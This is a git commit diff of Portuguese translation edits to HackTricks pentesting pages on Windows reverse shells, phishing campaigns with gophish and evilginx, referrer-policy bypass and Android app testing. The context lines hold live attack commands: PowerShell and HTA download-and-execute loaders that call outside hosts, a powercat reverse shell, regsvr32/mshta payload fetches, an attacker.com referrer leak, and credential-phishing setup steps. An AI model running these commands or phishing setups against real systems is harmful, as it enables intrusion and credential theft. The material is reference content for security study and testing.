mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-hacking/reverse-shells/windows.md', 'src/generi
This commit is contained in:
Translator
parent
b3c5a86d1f
commit
570839fc97
@ -87,7 +87,7 @@ Payload escrito no disco: **NÃO** (_pelo menos em nenhum lugar que eu consegui
|
||||
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
|
||||
```
|
||||
Processo realizando chamada de rede: **svchost.exe**\
|
||||
Carga útil escrita no disco: **Cache local do cliente WebDAV**
|
||||
Payload escrito no disco: **Cache local do cliente WebDAV**
|
||||
|
||||
**Uma linha:**
|
||||
```bash
|
||||
@ -109,7 +109,7 @@ mshta http://webserver/payload.hta
|
||||
```bash
|
||||
mshta \\webdavserver\folder\payload.hta
|
||||
```
|
||||
#### **Exemplo de shell reversa hta-psh (use hta para baixar e executar o backdoor PS)**
|
||||
#### **Exemplo de shell reverso hta-psh (use hta para baixar e executar backdoor PS)**
|
||||
```xml
|
||||
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
|
||||
```
|
||||
@ -224,7 +224,7 @@ regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
|
||||
#### Regsvr32 -sct
|
||||
|
||||
[**Daqui**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
|
||||
```markup
|
||||
```html
|
||||
<?XML version="1.0"?>
|
||||
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
|
||||
<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
|
||||
@ -420,7 +420,7 @@ powercat -l -p 443 -i C:\inputfile -rep
|
||||
|
||||
[https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire)
|
||||
|
||||
Crie um lançador de powershell, salve-o em um arquivo e faça o download e execute-o.
|
||||
Crie um lançador do powershell, salve-o em um arquivo e faça o download e execute-o.
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||
```
|
||||
@ -447,7 +447,7 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
||||
## Mais
|
||||
|
||||
[PS>Attack](https://github.com/jaredhaight/PSAttack) console PS com alguns módulos PS ofensivos pré-carregados (cifrado)\
|
||||
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9)[\
|
||||
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
|
||||
WinPWN](https://github.com/SecureThisShit/WinPwn) console PS com alguns módulos PS ofensivos e detecção de proxy (IEX)
|
||||
|
||||
## Referências
|
||||
|
||||
@ -22,7 +22,7 @@
|
||||
### Técnicas de Variação de Nome de Domínio
|
||||
|
||||
- **Palavra-chave**: O nome do domínio **contém** uma **palavra-chave** importante do domínio original (por exemplo, zelster.com-management.com).
|
||||
- **subdomínio hifenizado**: Trocar o **ponto por um hífen** de um subdomínio (por exemplo, www-zelster.com).
|
||||
- **subdomínio hifenizado**: Mudar o **ponto por um hífen** de um subdomínio (por exemplo, www-zelster.com).
|
||||
- **Novo TLD**: Mesmo domínio usando um **novo TLD** (por exemplo, zelster.org).
|
||||
- **Homoglyph**: **Substitui** uma letra no nome do domínio por **letras que parecem semelhantes** (por exemplo, zelfser.com).
|
||||
- **Transposição:** **Troca duas letras** dentro do nome do domínio (por exemplo, zelsetr.com).
|
||||
@ -91,7 +91,7 @@ ssh -L 3333:127.0.0.1:3333 <user>@<ip>
|
||||
|
||||
**Configuração do certificado TLS**
|
||||
|
||||
Antes desta etapa, você deve **já ter comprado o domínio** que vai usar e ele deve **apontar** para o **IP do VPS** onde você está configurando **gophish**.
|
||||
Antes desta etapa, você deve **já ter comprado o domínio** que vai usar e ele deve estar **apontando** para o **IP do VPS** onde você está configurando **gophish**.
|
||||
```bash
|
||||
DOMAIN="<domain>"
|
||||
wget https://dl.eff.org/certbot-auto
|
||||
@ -239,11 +239,11 @@ Você pode usar [https://www.spfwizard.net/](https://www.spfwizard.net) para ger
|
||||
|
||||
.png>)
|
||||
|
||||
Este é o conteúdo que deve ser definido dentro de um registro TXT dentro do domínio:
|
||||
Este é o conteúdo que deve ser definido dentro de um registro TXT no domínio:
|
||||
```bash
|
||||
v=spf1 mx a ip4:ip.ip.ip.ip ?all
|
||||
```
|
||||
### Registro de Autenticação, Relatório e Conformidade de Mensagens Baseado em Domínio (DMARC)
|
||||
### Domain-based Message Authentication, Reporting & Conformance (DMARC) Record
|
||||
|
||||
Você deve **configurar um registro DMARC para o novo domínio**. Se você não sabe o que é um registro DMARC [**leia esta página**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc).
|
||||
|
||||
@ -305,7 +305,7 @@ A página [www.mail-tester.com](https://www.mail-tester.com) pode indicar se seu
|
||||
- Decida de qual conta você vai enviar os emails de phishing. Sugestões: _noreply, support, servicedesk, salesforce..._
|
||||
- Você pode deixar em branco o nome de usuário e a senha, mas certifique-se de marcar a opção Ignorar Erros de Certificado
|
||||
|
||||
 (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
|
||||
 (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
|
||||
|
||||
> [!NOTE]
|
||||
> É recomendado usar a funcionalidade "**Enviar Email de Teste**" para testar se tudo está funcionando.\
|
||||
@ -317,7 +317,7 @@ A página [www.mail-tester.com](https://www.mail-tester.com) pode indicar se seu
|
||||
- Em seguida, escreva um **assunto** (nada estranho, apenas algo que você poderia esperar ler em um email regular)
|
||||
- Certifique-se de que você marcou "**Adicionar Imagem de Rastreamento**"
|
||||
- Escreva o **modelo de email** (você pode usar variáveis como no exemplo a seguir):
|
||||
```markup
|
||||
```html
|
||||
<html>
|
||||
<head>
|
||||
<title></title>
|
||||
@ -338,7 +338,7 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
|
||||
Note que **para aumentar a credibilidade do e-mail**, é recomendável usar alguma assinatura de um e-mail do cliente. Sugestões:
|
||||
|
||||
- Envie um e-mail para um **endereço inexistente** e verifique se a resposta tem alguma assinatura.
|
||||
- Procure por **e-mails públicos** como info@ex.com ou press@ex.com ou public@ex.com e envie um e-mail para eles e aguarde a resposta.
|
||||
- Pesquise por **e-mails públicos** como info@ex.com ou press@ex.com ou public@ex.com e envie um e-mail para eles e aguarde a resposta.
|
||||
- Tente contatar **algum e-mail válido descoberto** e aguarde a resposta.
|
||||
|
||||
.png>)
|
||||
@ -378,7 +378,7 @@ Note que o **Perfil de Envio permite enviar um e-mail de teste para ver como ser
|
||||
.png>)
|
||||
|
||||
> [!NOTE]
|
||||
> Eu recomendaria **enviar os e-mails de teste para endereços de 10min** a fim de evitar ser colocado na lista negra durante os testes.
|
||||
> Eu recomendaria **enviar os e-mails de teste para endereços de e-mail de 10 minutos** para evitar ser colocado na lista negra durante os testes.
|
||||
|
||||
Uma vez que tudo esteja pronto, basta lançar a campanha!
|
||||
|
||||
@ -403,9 +403,9 @@ phishing-documents.md
|
||||
|
||||
### Via Proxy MitM
|
||||
|
||||
O ataque anterior é bastante inteligente, pois você está falsificando um site real e coletando as informações fornecidas pelo usuário. Infelizmente, se o usuário não inseriu a senha correta ou se o aplicativo que você falsificou está configurado com 2FA, **essa informação não permitirá que você se passe pelo usuário enganado**.
|
||||
O ataque anterior é bastante inteligente, pois você está falsificando um site real e coletando as informações fornecidas pelo usuário. Infelizmente, se o usuário não inserir a senha correta ou se o aplicativo que você falsificou estiver configurado com 2FA, **essa informação não permitirá que você se passe pelo usuário enganado**.
|
||||
|
||||
É aqui que ferramentas como [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) e [**muraena**](https://github.com/muraenateam/muraena) são úteis. Esta ferramenta permitirá que você gere um ataque do tipo MitM. Basicamente, os ataques funcionam da seguinte maneira:
|
||||
É aqui que ferramentas como [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) e [**muraena**](https://github.com/muraenateam/muraena) são úteis. Essa ferramenta permitirá que você gere um ataque do tipo MitM. Basicamente, os ataques funcionam da seguinte maneira:
|
||||
|
||||
1. Você **falsifica o formulário de login** da página da web real.
|
||||
2. O usuário **envia** suas **credenciais** para sua página falsa e a ferramenta as envia para a página da web real, **verificando se as credenciais funcionam**.
|
||||
|
||||
@ -24,7 +24,7 @@ Referrer-Policy: unsafe-url
|
||||
## Contra-Mitigação
|
||||
|
||||
Você pode substituir esta regra usando uma tag meta HTML (o atacante precisa explorar uma injeção HTML):
|
||||
```markup
|
||||
```html
|
||||
<meta name="referrer" content="unsafe-url">
|
||||
<img src="https://attacker.com">
|
||||
```
|
||||
|
||||
@ -13,7 +13,7 @@ android-applications-basics.md
|
||||
## ADB (Android Debug Bridge)
|
||||
|
||||
Esta é a principal ferramenta que você precisa para se conectar a um dispositivo Android (emulado ou físico).\
|
||||
**ADB** permite controlar dispositivos tanto via **USB** quanto **Rede** a partir de um computador. Esta utilidade possibilita a **cópia** de arquivos em ambas as direções, **instalação** e **desinstalação** de aplicativos, **execução** de comandos de shell, **backup** de dados, **leitura** de logs, entre outras funções.
|
||||
**ADB** permite controlar dispositivos tanto via **USB** quanto **Rede** a partir de um computador. Esta utilidade possibilita a **cópia** de arquivos em ambas as direções, **instalação** e **desinstalação** de aplicativos, **execução** de comandos shell, **backup** de dados, **leitura** de logs, entre outras funções.
|
||||
|
||||
Dê uma olhada na seguinte lista de [**Comandos ADB**](adb-commands.md) para aprender como usar o adb.
|
||||
|
||||
@ -60,14 +60,14 @@ Preste atenção especial às **URLs do firebase** e verifique se está mal conf
|
||||
|
||||
### Compreensão básica da aplicação - Manifest.xml, strings.xml
|
||||
|
||||
A **examinação dos arquivos \_Manifest.xml**_\*\* e \*\*_**strings.xml**\_\*\* de uma aplicação pode revelar potenciais vulnerabilidades de segurança\*\*. Esses arquivos podem ser acessados usando decompiladores ou renomeando a extensão do arquivo APK para .zip e, em seguida, descompactando-o.
|
||||
A **examinação dos arquivos \_Manifest.xml**_\*\* e \*\*_**strings.xml**\_\*\* pode revelar potenciais vulnerabilidades de segurança\*\*. Esses arquivos podem ser acessados usando decompiladores ou renomeando a extensão do arquivo APK para .zip e, em seguida, descompactando-o.
|
||||
|
||||
**Vulnerabilidades** identificadas a partir do **Manifest.xml** incluem:
|
||||
|
||||
- **Aplicações Debugáveis**: Aplicações configuradas como debuggable (`debuggable="true"`) no arquivo _Manifest.xml_ representam um risco, pois permitem conexões que podem levar à exploração. Para uma melhor compreensão sobre como explorar aplicações debuggable, consulte um tutorial sobre como encontrar e explorar aplicações debuggable em um dispositivo.
|
||||
- **Configurações de Backup**: O atributo `android:allowBackup="false"` deve ser explicitamente definido para aplicações que lidam com informações sensíveis para evitar backups de dados não autorizados via adb, especialmente quando a depuração USB está habilitada.
|
||||
- **Segurança de Rede**: Configurações de segurança de rede personalizadas (`android:networkSecurityConfig="@xml/network_security_config"`) em _res/xml/_ podem especificar detalhes de segurança como pins de certificado e configurações de tráfego HTTP. Um exemplo é permitir tráfego HTTP para domínios específicos.
|
||||
- **Atividades e Serviços Exportados**: Identificar atividades e serviços exportados no manifesto pode destacar componentes que podem ser mal utilizados. Uma análise adicional durante os testes dinâmicos pode revelar como explorar esses componentes.
|
||||
- **Atividades e Serviços Exportados**: Identificar atividades e serviços exportados no manifesto pode destacar componentes que podem ser mal utilizados. Uma análise mais aprofundada durante os testes dinâmicos pode revelar como explorar esses componentes.
|
||||
- **Content Providers e FileProviders**: Content providers expostos podem permitir acesso ou modificação não autorizada de dados. A configuração de FileProviders também deve ser analisada.
|
||||
- **Broadcast Receivers e URL Schemes**: Esses componentes podem ser aproveitados para exploração, com atenção especial a como os esquemas de URL são gerenciados para vulnerabilidades de entrada.
|
||||
- **Versões do SDK**: Os atributos `minSdkVersion`, `targetSDKVersion` e `maxSdkVersion` indicam as versões do Android suportadas, destacando a importância de não suportar versões do Android desatualizadas e vulneráveis por razões de segurança.
|
||||
@ -76,8 +76,8 @@ A partir do arquivo **strings.xml**, informações sensíveis como chaves de API
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** é um ataque onde uma **aplicação maliciosa** é lançada e **se posiciona em cima de uma aplicação vítima**. Uma vez que obscurece visivelmente o app vítima, sua interface de usuário é projetada de tal forma a enganar o usuário a interagir com ela, enquanto passa a interação para o app vítima.\
|
||||
Na prática, isso **cega o usuário para saber que ele está realmente realizando ações no app vítima**.
|
||||
**Tapjacking** é um ataque onde uma **aplicação maliciosa** é lançada e **se posiciona em cima de uma aplicação vítima**. Uma vez que obscurece visivelmente o app da vítima, sua interface de usuário é projetada de tal forma a enganar o usuário a interagir com ela, enquanto passa a interação para o app da vítima.\
|
||||
Na prática, isso **cega o usuário para saber que ele está realmente realizando ações no app da vítima**.
|
||||
|
||||
Encontre mais informações em:
|
||||
|
||||
@ -177,11 +177,11 @@ Leia a página a seguir para aprender como acessar facilmente o código C# de ap
|
||||
|
||||
### Aplicações Superpacked
|
||||
|
||||
De acordo com este [**post de blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpacked é um algoritmo Meta que comprime o conteúdo de uma aplicação em um único arquivo. O blog fala sobre a possibilidade de criar um aplicativo que descompacte esse tipo de aplicativo... e uma maneira mais rápida que envolve **executar a aplicação e coletar os arquivos descompactados do sistema de arquivos.**
|
||||
De acordo com este [**post de blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpacked é um algoritmo Meta que comprime o conteúdo de uma aplicação em um único arquivo. O blog fala sobre a possibilidade de criar um aplicativo que descompacte esses tipos de aplicativos... e uma maneira mais rápida que envolve **executar a aplicação e coletar os arquivos descompactados do sistema de arquivos.**
|
||||
|
||||
### Análise Estática Automatizada de Código
|
||||
|
||||
A ferramenta [**mariana-trench**](https://github.com/facebook/mariana-trench) é capaz de encontrar **vulnerabilidades** ao **escanear** o **código** da aplicação. Esta ferramenta contém uma série de **fontes conhecidas** (que indicam à ferramenta os **lugares** onde a **entrada** é **controlada pelo usuário**), **sinks** (que indicam à ferramenta **lugares perigosos** onde a entrada maliciosa do usuário pode causar danos) e **regras**. Essas regras indicam a **combinação** de **fontes-sinks** que indica uma vulnerabilidade.
|
||||
A ferramenta [**mariana-trench**](https://github.com/facebook/mariana-trench) é capaz de encontrar **vulnerabilidades** ao **escanear** o **código** da aplicação. Esta ferramenta contém uma série de **fontes conhecidas** (que indicam ao ferramenta os **lugares** onde a **entrada** é **controlada pelo usuário**), **sinks** (que indicam ao ferramenta **lugares perigosos** onde a entrada maliciosa do usuário pode causar danos) e **regras**. Essas regras indicam a **combinação** de **fontes-sinks** que indicam uma vulnerabilidade.
|
||||
|
||||
Com esse conhecimento, **mariana-trench revisará o código e encontrará possíveis vulnerabilidades nele**.
|
||||
|
||||
@ -259,8 +259,8 @@ Você precisa ativar as opções de **depuração** e será legal se você puder
|
||||
4. Pressione **Número da versão** 7 vezes.
|
||||
5. Volte e você encontrará as **Opções de desenvolvedor**.
|
||||
|
||||
> Uma vez que você tenha instalado a aplicação, a primeira coisa que deve fazer é testá-la e investigar o que ela faz, como funciona e se familiarizar com ela.\
|
||||
> Sugiro que **realize esta análise dinâmica inicial usando a análise dinâmica do MobSF + pidcat**, para que possamos **aprender como a aplicação funciona** enquanto o MobSF **captura** muitos **dados interessantes** que você pode revisar mais tarde.
|
||||
> Uma vez que você tenha instalado a aplicação, a primeira coisa que você deve fazer é testá-la e investigar o que ela faz, como funciona e se familiarizar com ela.\
|
||||
> Eu sugeriria **realizar esta análise dinâmica inicial usando a análise dinâmica do MobSF + pidcat**, para que possamos **aprender como a aplicação funciona** enquanto o MobSF **captura** muitos **dados interessantes** que você pode revisar mais tarde.
|
||||
|
||||
### Vazamento de Dados Não Intencionais
|
||||
|
||||
@ -269,7 +269,7 @@ Você precisa ativar as opções de **depuração** e será legal se você puder
|
||||
Os desenvolvedores devem ter cuidado ao expor **informações de depuração** publicamente, pois isso pode levar a vazamentos de dados sensíveis. As ferramentas [**pidcat**](https://github.com/JakeWharton/pidcat) e `adb logcat` são recomendadas para monitorar logs de aplicações para identificar e proteger informações sensíveis. **Pidcat** é preferido por sua facilidade de uso e legibilidade.
|
||||
|
||||
> [!WARNING]
|
||||
> Note que a partir de **versões mais recentes que o Android 4.0**, **as aplicações só podem acessar seus próprios logs**. Portanto, as aplicações não podem acessar os logs de outros aplicativos.\
|
||||
> Note que a partir de **versões mais recentes que Android 4.0**, **as aplicações só podem acessar seus próprios logs**. Portanto, as aplicações não podem acessar os logs de outros aplicativos.\
|
||||
> De qualquer forma, ainda é recomendado **não registrar informações sensíveis**.
|
||||
|
||||
**Cache de Buffer de Copiar/Colar**
|
||||
@ -278,7 +278,7 @@ O framework **baseado em clipboard** do Android permite a funcionalidade de copi
|
||||
|
||||
**Logs de Crash**
|
||||
|
||||
Se uma aplicação **crash** e **salva logs**, esses logs podem ajudar atacantes, especialmente quando a aplicação não pode ser revertida. Para mitigar esse risco, evite registrar em crashes, e se os logs precisarem ser transmitidos pela rede, assegure-se de que sejam enviados através de um canal SSL para segurança.
|
||||
Se uma aplicação **crash** e **salvar logs**, esses logs podem ajudar atacantes, especialmente quando a aplicação não pode ser revertida. Para mitigar esse risco, evite registrar em crashes, e se os logs precisarem ser transmitidos pela rede, assegure-se de que sejam enviados através de um canal SSL para segurança.
|
||||
|
||||
Como pentester, **tente dar uma olhada nesses logs**.
|
||||
|
||||
@ -286,7 +286,7 @@ Como pentester, **tente dar uma olhada nesses logs**.
|
||||
|
||||
As aplicações frequentemente integram serviços como Google Adsense, que podem inadvertidamente **vazar dados sensíveis** devido à implementação inadequada pelos desenvolvedores. Para identificar possíveis vazamentos de dados, é aconselhável **interceptar o tráfego da aplicação** e verificar se há informações sensíveis sendo enviadas para serviços de terceiros.
|
||||
|
||||
### SQLite DBs
|
||||
### Bancos de Dados SQLite
|
||||
|
||||
A maioria das aplicações usará **bancos de dados SQLite internos** para salvar informações. Durante o pentest, dê uma **olhada** nos **bancos de dados** criados, os nomes das **tabelas** e **colunas** e todos os **dados** salvos, pois você pode encontrar **informações sensíveis** (o que seria uma vulnerabilidade).\
|
||||
Os bancos de dados devem estar localizados em `/data/data/the.package.name/databases` como `/data/data/com.mwr.example.sieve/databases`.
|
||||
@ -295,7 +295,7 @@ Se o banco de dados estiver salvando informações confidenciais e estiver **cri
|
||||
|
||||
Enumere as tabelas usando `.tables` e enumere as colunas das tabelas fazendo `.schema <table_name>`.
|
||||
|
||||
### Drozer (Exploit Activities, Content Providers e Services)
|
||||
### Drozer (Exploit Activities, Content Providers and Services)
|
||||
|
||||
Do [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** permite que você **assuma o papel de um aplicativo Android** e interaja com outros aplicativos. Ele pode fazer **qualquer coisa que um aplicativo instalado pode fazer**, como fazer uso do mecanismo de Comunicação Inter-Processo (IPC) do Android e interagir com o sistema operacional subjacente.\
|
||||
Drozer é uma ferramenta útil para **explorar atividades exportadas, serviços exportados e Content Providers**, como você aprenderá nas seções seguintes.
|
||||
@ -307,7 +307,7 @@ Além disso, lembre-se de que o código de uma atividade começa no método **`o
|
||||
|
||||
**Bypass de Autorização**
|
||||
|
||||
Quando uma Atividade é exportada, você pode invocar sua tela de um aplicativo externo. Portanto, se uma atividade com **informações sensíveis** for **exportada**, você poderá **burlar** os mecanismos de **autenticação** **para acessá-la.**
|
||||
Quando uma Atividade é exportada, você pode invocar sua tela de um aplicativo externo. Portanto, se uma atividade com **informações sensíveis** for **exportada**, você poderia **burlar** os mecanismos de **autenticação** **para acessá-la.**
|
||||
|
||||
[**Aprenda como explorar atividades exportadas com Drozer.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
@ -318,7 +318,7 @@ Você também pode iniciar uma atividade exportada a partir do adb:
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
**NOTA**: O MobSF detectará como malicioso o uso de _**singleTask/singleInstance**_ como `android:launchMode` em uma atividade, mas devido a [isso](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), aparentemente isso é perigoso apenas em versões antigas (versões da API < 21).
|
||||
**NOTA**: O MobSF detectará como malicioso o uso de _**singleTask/singleInstance**_ como `android:launchMode` em uma atividade, mas devido a [isso](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), aparentemente isso é perigoso apenas em versões antigas (versões de API < 21).
|
||||
|
||||
> [!NOTA]
|
||||
> Note que uma bypass de autorização nem sempre é uma vulnerabilidade, isso dependerá de como o bypass funciona e quais informações são expostas.
|
||||
@ -331,12 +331,12 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
|
||||
Se o tapjacking não for prevenido, você pode abusar da atividade exportada para fazer o **usuário realizar ações inesperadas**. Para mais informações sobre [**o que é Tapjacking siga o link**](#tapjacking).
|
||||
|
||||
### Explorando Content Providers - Acessando e manipulando informações sensíveis
|
||||
### Explorando Provedores de Conteúdo - Acessando e manipulando informações sensíveis
|
||||
|
||||
[**Leia isso se você quiser relembrar o que é um Content Provider.**](android-applications-basics.md#content-provider)\
|
||||
Content providers são basicamente usados para **compartilhar dados**. Se um aplicativo tiver content providers disponíveis, você pode ser capaz de **extrair dados sensíveis** deles. Também é interessante testar possíveis **injeções SQL** e **Path Traversals**, pois podem ser vulneráveis.
|
||||
[**Leia isso se você quiser relembrar o que é um Provedor de Conteúdo.**](android-applications-basics.md#content-provider)\
|
||||
Provedores de conteúdo são basicamente usados para **compartilhar dados**. Se um aplicativo tiver provedores de conteúdo disponíveis, você pode ser capaz de **extrair dados sensíveis** deles. Também é interessante testar possíveis **injeções SQL** e **Path Traversals**, pois podem ser vulneráveis.
|
||||
|
||||
[**Aprenda como explorar Content Providers com Drozer.**](drozer-tutorial/index.html#content-providers)
|
||||
[**Aprenda como explorar Provedores de Conteúdo com Drozer.**](drozer-tutorial/index.html#content-providers)
|
||||
|
||||
### **Explorando Serviços**
|
||||
|
||||
@ -346,13 +346,13 @@ Lembre-se de que as ações de um Serviço começam no método `onStartCommand`.
|
||||
Um serviço é basicamente algo que **pode receber dados**, **processá-los** e **retornar** (ou não) uma resposta. Então, se um aplicativo estiver exportando alguns serviços, você deve **verificar** o **código** para entender o que ele está fazendo e **testá-lo** **dinamicamente** para extrair informações confidenciais, contornar medidas de autenticação...\
|
||||
[**Aprenda como explorar Serviços com Drozer.**](drozer-tutorial/index.html#services)
|
||||
|
||||
### **Explorando Broadcast Receivers**
|
||||
### **Explorando Receptores de Broadcast**
|
||||
|
||||
[**Leia isso se você quiser relembrar o que é um Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
|
||||
Lembre-se de que as ações de um Broadcast Receiver começam no método `onReceive`.
|
||||
[**Leia isso se você quiser relembrar o que é um Receptor de Broadcast.**](android-applications-basics.md#broadcast-receivers)\
|
||||
Lembre-se de que as ações de um Receptor de Broadcast começam no método `onReceive`.
|
||||
|
||||
Um broadcast receiver estará aguardando um tipo de mensagem. Dependendo de como o receptor lida com a mensagem, ele pode ser vulnerável.\
|
||||
[**Aprenda como explorar Broadcast Receivers com Drozer.**](#exploiting-broadcast-receivers)
|
||||
Um receptor de broadcast estará aguardando um tipo de mensagem. Dependendo de como o receptor lida com a mensagem, ele pode ser vulnerável.\
|
||||
[**Aprenda como explorar Receptores de Broadcast com Drozer.**](#exploiting-broadcast-receivers)
|
||||
|
||||
### **Explorando Schemes / Deep links**
|
||||
|
||||
@ -361,8 +361,8 @@ Você pode **abrir** um **scheme** declarado usando **adb** ou um **navegador**:
|
||||
```bash
|
||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
||||
```
|
||||
_Observe que você pode **omitir o nome do pacote** e o celular chamará automaticamente o aplicativo que deve abrir esse link._
|
||||
```markup
|
||||
_Observe que você pode **omitir o nome do pacote** e o dispositivo móvel chamará automaticamente o aplicativo que deve abrir esse link._
|
||||
```html
|
||||
<!-- Browser regular link -->
|
||||
<a href="scheme://hostname/path?param=value">Click me</a>
|
||||
<!-- fallback in your url you could try the intent url -->
|
||||
@ -389,8 +389,8 @@ Um [relatório de bug bounty interessante](https://hackerone.com/reports/855618)
|
||||
|
||||
### Inspeção e Falhas de Verificação da Camada de Transporte
|
||||
|
||||
- **Os certificados nem sempre são inspecionados corretamente** por aplicativos Android. É comum que esses aplicativos ignorem avisos e aceitem certificados autoassinados ou, em alguns casos, voltem a usar conexões HTTP.
|
||||
- **As negociações durante o handshake SSL/TLS às vezes são fracas**, empregando suítes de cifra inseguras. Essa vulnerabilidade torna a conexão suscetível a ataques man-in-the-middle (MITM), permitindo que atacantes decriptografem os dados.
|
||||
- **Os certificados nem sempre são inspecionados corretamente** por aplicativos Android. É comum que esses aplicativos ignorem avisos e aceitem certificados autoassinados ou, em alguns casos, revertam para o uso de conexões HTTP.
|
||||
- **As negociações durante o handshake SSL/TLS às vezes são fracas**, empregando suítes de cifra inseguras. Essa vulnerabilidade torna a conexão suscetível a ataques man-in-the-middle (MITM), permitindo que atacantes decifrem os dados.
|
||||
- **Vazamento de informações privadas** é um risco quando aplicativos se autenticam usando canais seguros, mas depois se comunicam por canais não seguros para outras transações. Essa abordagem falha em proteger dados sensíveis, como cookies de sessão ou detalhes do usuário, de interceptação por entidades maliciosas.
|
||||
|
||||
#### Verificação de Certificado
|
||||
@ -437,7 +437,7 @@ Se você quer fazer pentesting em aplicativos Android, precisa saber como usar o
|
||||
|
||||
Verifique se o aplicativo está armazenando informações sensíveis na memória que não deveria estar armazenando, como senhas ou mnemônicos.
|
||||
|
||||
Usando [**Fridump3**](https://github.com/rootbsd/fridump3), você pode despejar a memória do aplicativo com:
|
||||
Usando [**Fridump3**](https://github.com/rootbsd/fridump3) você pode despejar a memória do app com:
|
||||
```bash
|
||||
# With PID
|
||||
python3 fridump3.py -u <PID>
|
||||
@ -446,7 +446,7 @@ python3 fridump3.py -u <PID>
|
||||
frida-ps -Uai
|
||||
python3 fridump3.py -u "<Name>"
|
||||
```
|
||||
Isso irá despejar a memória na pasta ./dump, e lá você pode grep com algo como:
|
||||
Isso irá despejar a memória na pasta ./dump, e lá você pode usar grep com algo como:
|
||||
```bash
|
||||
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
|
||||
```
|
||||
@ -480,13 +480,13 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
### **Analisador de Aplicações Android**
|
||||
|
||||
Esta ferramenta pode ajudar você a gerenciar diferentes ferramentas durante a análise dinâmica: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
|
||||
Esta ferramenta pode ajudá-lo a gerenciar diferentes ferramentas durante a análise dinâmica: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
|
||||
|
||||
### Injeção de Intent
|
||||
|
||||
Os desenvolvedores frequentemente criam componentes proxy como atividades, serviços e receptores de broadcast que manipulam esses Intents e os passam para métodos como `startActivity(...)` ou `sendBroadcast(...)`, o que pode ser arriscado.
|
||||
|
||||
O perigo reside em permitir que atacantes acionem componentes de aplicativo não exportados ou acessem provedores de conteúdo sensíveis ao desviar esses Intents. Um exemplo notável é o componente `WebView` convertendo URLs em objetos `Intent` via `Intent.parseUri(...)` e, em seguida, executando-os, potencialmente levando a injeções de Intent maliciosas.
|
||||
O perigo reside em permitir que atacantes acionem componentes de aplicativo não exportados ou acessem provedores de conteúdo sensíveis ao redirecionar esses Intents. Um exemplo notável é o componente `WebView` convertendo URLs em objetos `Intent` via `Intent.parseUri(...)` e, em seguida, executando-os, potencialmente levando a injeções de Intent maliciosas.
|
||||
|
||||
### Principais Conclusões
|
||||
|
||||
@ -523,14 +523,14 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
Observe que o MobSF pode analisar **Android**(apk)**, IOS**(ipa) **e Windows**(apx) aplicações (_As aplicações do Windows devem ser analisadas a partir de um MobSF instalado em um host Windows_).\
|
||||
Além disso, se você criar um arquivo **ZIP** com o código-fonte de um aplicativo **Android** ou **IOS** (vá para a pasta raiz do aplicativo, selecione tudo e crie um arquivo ZIP), ele também poderá analisá-lo.
|
||||
|
||||
